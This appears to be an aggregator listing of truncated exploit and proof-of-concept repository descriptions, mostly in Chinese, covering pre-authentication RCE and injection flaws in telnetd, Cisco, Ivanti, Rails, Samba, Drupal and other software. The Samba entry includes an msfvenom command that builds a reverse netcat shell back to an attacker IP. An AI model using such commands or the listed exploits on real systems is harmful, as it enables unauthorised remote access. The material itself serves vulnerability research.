CVE-2026-32746

CVE-2026-32746 - telnetd LINEMODE SLC 缓冲区溢出 通过 GNU InetUtils telnetd 的 LINEMODE SLC（设置本地字符）处理程序中的缓冲区溢出，实现未认证远程代码执行。 CVSS 3.1: 9.8（严重） | CWE: CWE-120, CWE-787 概述 telnetd/slc.c 中的 addslc 函数将每个 SLC 三元组的 3 个字节追加到一个固定的 108 字节缓冲区（slcbuf）中，且未进行边界检查。未认证的攻击者可以在选项协商期间（任何登录提示之前）发送一个精心构造的 SLC 子选项，其中包含 40...

CVE-2024-52806-PoC

CVE-2024-52596 / CVE-2024-52806 的 POC - SimpleSAMLphp 预认证 XXE 文件读取...

CVE-2026-1281-CVE-2026-1340-Ivanti-EPMM-RCE

Ivanti EPMM 预认证 RCE 模拟靶标 一个简单的演示应用，用于展示如何复现 Ivanti EPMM 预认证 RCE 漏洞（CVE-2026-1281 / CVE-2026-1340），仅供教育和安全研究目的使用。 漏洞概述 该漏洞利用了 Bash 算术展开（arithmetic expansion）的行为。当在算术上下文中使用一个包含对其他变量引用的变量时，如果被引用的变量包含带有命令替换的数组索引，则该命令会被执行。 利用链 1. 请求包含 st=theValue （字面字符串 "theValue" 并带有填充） 2. 请求包含...

CVE-2026-20131-POC

CVE-2026-20131---Cisco-SD-WAN-Preauth-RCE Cisco SD-WAN 零日漏洞 CVE-2026-20131 自 2023 年起被利用以获取管理员访问权限。 本仓库包含针对 CVE-2026-20131 的可运行概念验证（PoC）漏洞利用代码。该漏洞是 Cisco Catalyst SD-WAN Controller（原 vSmart）和 Catalyst SD-WAN Manager（原 vManage）中的一个严重预认证漏洞，自 2023 年以来已在野外被积极利用。 该漏洞自 2023 年以来已在野外被积极利用。 被 Cisco...

CVE-2026-84379

HTTPX2 is a next generation HTTP client for Python. Prior to 2.11.0, FileField.renderheaders in src/httpx2/httpx2/multipart.py directly interpolates attacker-controlled contenttype values and custom headers from the files= three-element filename, content, contenttype tuple and the files=...

SpringPeace

SpringPeace SpringPeace 是一个 GPL-3.0-or-later 的 GUI/CLI 工具，用于为 CVE-2026-43499 生成 Android boot.img payload 候选。Windows 应用程序使用 SpringPeace 界面，自动检查 ADB，读取 boot.img，构建候选 payload.so，然后按 manifest 顺序通过 ADB 进行尝试。 SpringPeace 是一个 GPL-3.0-or-later 的 GUI/CLI，用于为 CVE-2026-43499 生成 Android boot.img payload...

cve-2019-6250-lab

CVE-2019-6250 — libzmq 预认证 RCE 实验环境 针对 CVE-2019-6250 的端到端可用 RCE 利用链 + 可复现实验环境。该漏洞是 libzmq v2decodert::sizeready 中的预认证堆缓冲区溢出。通过 uint64t 指针算术溢出，未认证对等端可在 ZMTP/2.0 线上路径覆盖相邻的 msgt::contentt::ffn 函数指针，然后经由 TCP socket 关闭触发：v2decodert → inprogress.close → 。...

CVE-2026-31431

PoC Python for Copy Fail CVE-2026-31431 Python use nosplice variant...

CVE-2026-20131

🚨 CVE-2026-20131 | Cisco FMC 严重 RCE 漏洞 Cisco Secure Firewall Management Center 中的未认证远程代码执行 📌 概述 一个严重的预认证 Java 反序列化漏洞 ，允许远程攻击者在 Cisco FMC 设备上实现 root 级代码执行 。 关键信息 属性| 详情 ---|--- 严重程度| 严重 CVSS 评分| 10.0 漏洞类型| Java 反序列化 已被在野利用| 是（勒索软件攻击活动） 补丁可用| 是 ✨ 安全的漏洞检测工具 一个美观、安全且可靠的 CVE-2026-20131 检测工具。 📸 演示 功能特性...

EUVD-2026-70044

The Brave WordPress plugin before 0.8.8 does not prevent a URL parameter used to pre-fill a form field from being passed to WordPress's shortcode engine, allowing unauthenticated attackers to have arbitrary shortcodes registered on the site executed server-side...

EUVD-2026-42742

SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content...

CVE-2026-39987-Lab

CVE-2026-39987 — marimo 预认证终端 WebSocket RCE 实验环境 仅限本地的 Docker 实验环境，用于复现和理解 marimo 中的 CVE-2026-39987。 本项目将存在漏洞的 marimo 服务与已修复的 marimo 服务并排对比，然后使用最小危害证明脚本演示两者之间的差异。 执行摘要 CVE-2026-39987 是 marimo （一个响应式 Python 笔记本框架）中的一个严重的预认证远程代码执行漏洞。 漏洞行为存在于终端 WebSocket 端点： root@kitploit: /terminal/ws...

CVE-2026-33439-OpenAM

CVE-2026-33439 是 OpenAM（16.0.6）中一个未经身份验证的不安全反序列化问题，影响 JATO ViewBean 端点。公开公告提到了 JATO 端点，但未列举可访问的路由。本研究确定 /openam/ui/PWResetUserValidation 是一个可访问的预认证 JATO 端点。...

CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell Rails Active Storage/libvips 任意文件读取 → SECRETKEYBASE 窃取 → RCE 概述 CVE-2026-66066 是一个严重级别（CVSS 9.5）的预认证 任意文件读取到远程代码执行链，存在于 Ruby on Rails Active Storage 中，影响默认配置下的 Rails 7.2.0–7.2.3.1 、8.0.0–8.0.5 和 8.1.0–8.1.3 。 该漏洞利用了跨越 Rails、libvips、libmatio 和 HDF5 的四层解析器混淆...

smb-usermap

Samba "username map script" 命令执行 该模块利用了 Samba 3.0.20 至 3.0.25rc3 版本中，在使用非默认的 "username map script" 配置选项时存在的命令执行漏洞。通过指定包含 shell 元字符的用户名，攻击者可以执行任意命令。由于该选项用于在认证之前映射用户名，因此利用此漏洞无需认证！ 1. 创建 Shellcode root@kitploit: msfvenom -p cmd/unix/reversenetcat LHOST=10.10.14.56 LPORT=5555 -f python 2. Netcat 监听器...

CVE-2026-66066

🚨 CVE-2026-66066 — KindaRails2Shell Ruby on Rails Active Storage 中的预认证远程代码执行（RCE） CVE-2026-66066（“KindaRails2Shell”）的教育性安全研究仓库。 本仓库仅用于安全研究、漏洞分析、检测与防御目的。 📖 概述 KindaRails2Shell（CVE-2026-66066） 是一个影响使用 libvips 处理上传图片的 Ruby on Rails Active Storage 部署的关键漏洞。 在存在漏洞的配置下，特制图片可能在图片处理过程中触发意外行为，从而可能导致： 预认证攻击...

CVE-2023-38646

CVE-2023-38646 用于通过 SQL 注入利用 CVE-2023-38646 Metabase 预认证 RCE 的 Python 脚本 该脚本会 GET /api/session/properties 以获取 setup token，并评估目标的可利用性。 如果目标存在漏洞，则会打印 setup token，否则将在显示错误消息后退出。 如果使用了 -x 选项且目标存在漏洞，它将使用提供的 payload 尝试利用该漏洞。 更多信息请参阅发现该漏洞的团队撰写的出色分析文章：...

CVE-2021-26714

CVE-2021-26714 Vulnerabilidad de Directory Traversal en el portal de Enterprise License Manager en Mitel MiContact Center Enterprise anterior a la versión 9.4. https://nvd.nist.gov/vuln/detail/CVE-2021-26714vulnCurrentDescriptionTitle...

CVE-2025-32433_PoC

CVE-2025-32433Erlang-OTP 该脚本是一款自定义安全工具，用于测试运行基于Erlang的SSH服务器的系统中存在的关键预认证漏洞 该脚本是一款自定义安全工具，用于测试运行基于Erlang的SSH服务器的系统（例如嵌入式系统、物联网设备及某些后端服务中使用的服务器）中存在的关键预认证漏洞。所测试的漏洞类似于CVE-2025-32433，该漏洞允许未认证的远程攻击者在SSH握手阶段执行命令。 工作原理 目标枚举： 接受单个IP:端口，或从ips.txt和ports.txt批量读取IP和端口。 按行匹配IP和端口，以系统化地扫描环境。 SSH协议模拟：...

Drupalgeddon-Python3

Drupalgeddon Python3 版本 针对 CVE-2014-3704 的重新编写的 POC，是我在 HackTheBox 上 CPTS 训练的一部分。 https://nvd.nist.gov/vuln/detail/CVE-2014-3704 CVE-2014-3704 被称为 Drupalgeddon，影响版本 7.0 到 7.31，并在 7.32 版本中修复。这是一个预认证的 SQL 注入漏洞，可用于上传恶意表单或创建新的管理员用户。 这里只做了微小的改动，使脚本兼容 Python3，并修改了一些 print 语句的格式。 Drupal 7.x SQL 注入...